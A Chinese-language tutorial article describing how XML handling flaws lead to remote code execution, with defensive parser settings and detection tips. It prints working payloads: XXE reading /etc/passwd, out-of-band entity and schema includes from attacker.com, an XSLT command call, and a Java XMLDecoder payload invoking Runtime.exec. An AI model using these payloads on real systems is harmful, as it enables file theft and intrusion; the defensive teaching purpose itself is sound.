插件窝 干货文章 从XML到远程代码执行的方法是什么

从XML到远程代码执行的方法是什么

XML schema http 攻击 308    来源:    2025-04-26

从XML解析到远程代码执行(RCE)通常涉及利用XML处理中的漏洞。以下是主要攻击路径和防御建议(仅限安全研究用途):

一、常见攻击路径 1. XXE (XML External Entity) 注入 - 经典攻击:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
  • 进阶利用:
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
%dtd;
]>
  1. XSLT 注入
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
   <xsl:value-of select="system-property('xsl:vendor')"/>
   <xsl:value-of select="system('id')"/>
</xsl:template>
</xsl:stylesheet>
  1. SOAP 注入
<soap:Body>
  <foo xmlns="http://schema.example.com">
    <bar xmlns="http://schema.attacker.com">malicious_payload</bar>
  </foo>
</soap:Body>

二、现代攻击技术 1. 依赖混淆攻击: - 利用XML Schema的xs:include元素

<xs:include schemaLocation="http://attacker.com/fake.xsd"/>
  1. 反序列化漏洞:

- 通过XMLEncoder/XMLDecoder

<java version="1.4.0" class="java.beans.XMLDecoder">
  <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
      <string>calc.exe</string>
    </void>
  </object>
</java>

三、防御方案 1. 代码层面:

// 安全XML解析配置示例
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
  1. 架构层面:

- 实施XML网关过滤 - 使用SAST工具检测XXE漏洞(如Checkmarx、Fortify) - 部署WAF规则拦截ENTITY声明

  1. 新兴防御技术:

- 采用XML签名验证 - 实施Schema白名单验证

<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <xs:include schemaLocation="trusted-schema.xsd"/>
</xs:schema>

四、检测方法 1. 使用XXEinjector等工具自动化测试 2. 监控异常DNS查询 3. 分析XML处理器日志中的实体解析事件

请注意:实际攻击测试必须获得明确授权,未经授权的测试可能违反《计算机犯罪防治法》等法律法规。建议在封闭实验环境中进行研究。